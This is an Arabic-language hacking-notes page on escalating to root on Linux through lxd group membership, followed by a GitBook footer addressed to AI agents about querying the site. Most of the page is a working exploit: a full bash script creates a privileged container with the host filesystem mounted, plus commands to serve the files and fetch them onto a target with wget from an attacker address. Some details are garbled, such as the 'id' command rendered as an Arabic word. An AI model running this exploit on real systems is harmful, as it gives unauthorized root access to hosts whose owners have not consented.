> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/user-groups/lxd-group-linux-privilege-escalation.md).

# إساءة استخدام مجموعة lxd - تصعيد امتيازات لينكس

## ما هو

يمكن أن تكشف عضويات المجموعات المحلية الخطرة عن الموارد المميّزة دون الحاجة إلى استغلال نواة النظام. قد تمنح مجموعات مثل docker وlxd وadm أو proxy التحكم بالمضيف، أو الوصول إلى السجلات الحساسة، أو مسارات التهيئة المفيدة للحركة الجانبية والتصعيد إلى root. تركز هذه الصفحة تحديدًا على **مجموعة المستخدم (lxd)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
المعرّف
groups
```

## أمثلة

### استغلال LXD:

**تحديد `ash` عضوية المستخدم في `lxd` المجموعة**:

من خلال التحقق من المجموعات التي ينتمي إليها المستخدم `ash` نلاحظ أنه جزء من `lxd` المجموعة، مما يتيح إساءة استخدام LXC للحصول على صلاحيات الجذر.

<figure><img src="/files/d800c87a847a67d57b38a6a97e2ee5a5971b3302" alt=""><figcaption></figcaption></figure>

**نزّل وجهّز العملية**:

استخدم `searchsploit` للحصول على سكربت الاستغلال لثغرة LXC ‏(CVE-2020-16941)

<figure><img src="/files/b51fbd575c698ef173c0190f775af06634a1179b" alt="" width="563"><figcaption></figcaption></figure>

يستغل هذا السكربت ثغرة LXC لتنفيذ أوامر بصلاحيات مرتفعة.

**محتوى سكربت الاستغلال (46978.sh):**

<pre class="language-bash"><code class="lang-bash">#!/usr/bin/env bash

<strong>function helpPanel(){
</strong>  echo -e "/nالاستخدام:"
  echo -e "/t[-f] اسم الملف (.tar.gz ملف alpine)"
  echo -e "/t[-h] عرض لوحة المساعدة هذه/n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine &#x26;&#x26; lxd init --auto
  echo -e "[*] سرد الصور.../n" &#x26;&#x26; lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "/n[*] إزالة الحاوية..."
  lxc stop privesc &#x26;&#x26; lxc delete privesc &#x26;&#x26; lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG &#x26;&#x26; let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
</code></pre>

* ينشئ السكربت حاوية LXC بصلاحيات مرتفعة ويوفر وصول root على الجهاز الهدف.

**نزّل ملف صورة Alpine والسكربت:**

استنسخ المستودع الذي يحتوي على الملفات اللازمة للعملية وانقلها إلى جهازك عبر خادم HTTP محلي.

```bash
git clone https://github.com/saghul/lxd-alpine-builder
```

ابدأ خادم HTTP محليًا لتقديم الملف والسكربت

```bash
python3 -m http.server 80
```

على جهازك الهدف، نزّل السكربت وملف الصورة:

```bash
cd /tmp
wget http://10.10.14.7/46978.sh
wget http://10.10.14.7/alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/3be46402e2790d9663ebb6eee6c42a58080016e2" alt=""><figcaption></figcaption></figure>

\*\* تحديث PATH\*\*:

عدّل `PATH` لضمان أن أوامر LXC تُفسَّر بشكل صحيح.

```bash
export PATH=/home/jordan/.local/bin:/snap/bin:/usr/sandbox:/opt/nvim-linux64/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/share/games:/usr/local/sbin:/usr/sbin:/sbin:/opt/kitty/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/home/jordan/.fzf/bin:/usr/local/bin
```

**تنفيذ السكربت**

شغّل السكربت مع ملف صورة Alpine الذي تم تنزيله لاستغلال الثغرة والحصول على شلّ root:

```bash
./lxd.sh -f alpine-v3.13-x86_64-20210218_0139.tar.gz
```

<figure><img src="/files/366241762c35bc3e34bcaa8e12cf58c9abd6af28" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/e8b59f210c6bf9f699c3bc21e91162090d55a6d6" alt=""><figcaption></figcaption></figure>

للمغادرة من الحاوية، ما عليك سوى الانتقال إلى `/mnt/root` الدليل.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/user-groups/lxd-group-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
